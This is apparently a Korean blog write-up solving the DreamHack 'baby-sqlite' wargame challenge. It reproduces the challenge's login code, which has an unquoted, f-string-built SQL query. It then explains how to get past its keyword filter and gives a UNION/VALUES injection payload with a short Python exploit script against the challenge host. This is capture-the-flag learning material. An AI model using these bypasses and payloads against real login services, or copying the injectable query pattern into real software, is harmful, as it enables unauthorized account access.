본문 바로가기

DreamHack

[DreamHack] baby-sqlite

https://dreamhack.io/wargame/challenges/1/

 

baby-sqlite

로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요! > 해당 문제는 숙련된 웹해커를 위한 문제입니다.

dreamhack.io

난이도: Level 1 

def login():
    if request.method == 'GET':
        return render_template('login.html')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'


    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG        
        except:
            return 'Error!'
    return 'Good!'

app.py 코드를 보면 login 함수에서 FLAG 를 출력해주는 것을 확인할 수 있습니다. 

로그인 쿼리문을 보면 uid와 upw는 싱글 쿼터로 씌워져 있는 것을 볼 수 있습니다.

그에 반해 level 컬럼은 아무것도 씌워져 있지 않습니다.

 

즉, level 을 공략하여 Injection 을 시도하면 될 것 같아 보입니다. 

 

우선 SQL 필터에는 크게 select, 공백(' '), admin 키워드 등을 막는 것을 볼 수 있습니다. 

 

1. 공백 우회

   공백은 흔히 %20, /**/ 등을 통해 우회할 수 있습니다. 

 

2. admin 우회

    admin 키워드는 0x61646d696e 로 우회할 수 있습니다. 

    위 코드에서 , (콤마) 를 필터하고 있어서 char(0x61,0x64,0x6d,0x69,0x6e)를 사용할 수 없기에

    char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e) 를 사용해줄 수 있습니다. 

 

3. select 우회

 

https://www.sqlite.org/lang_select.html

SQLite는 SELECT 구문 대신 VALUES를 사용하여 우회할 수 있습니다. 

 

이를 조합하면 아래와 같이 Injection 쿼리를 작성할 수 있습니다. 

 

1/**/UNION/**/VALUES(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))

Exploit Code

import requests

url="http://host3.dreamhack.games:10678/login"

data={"uid":"test", "upw":"test", "level":"1/**/UNION/**/VALUES(char(0x61)||char(0x64)||char(0x6d)||char(0x69)||char(0x6e))"}

r = requests.post(url=url, data=data)

print(r.text)

'DreamHack' 카테고리의 다른 글

[DreamHack] login-1  (0) 2023.06.17
[DreamHack] XSS Filtering Bypass  (1) 2023.06.15
[DreamHack] Command Injection Advanced  (0) 2023.06.13
[DreamHack] out_of_bound  (0) 2023.06.09
[DreamHack] XSS - 2  (2) 2023.06.07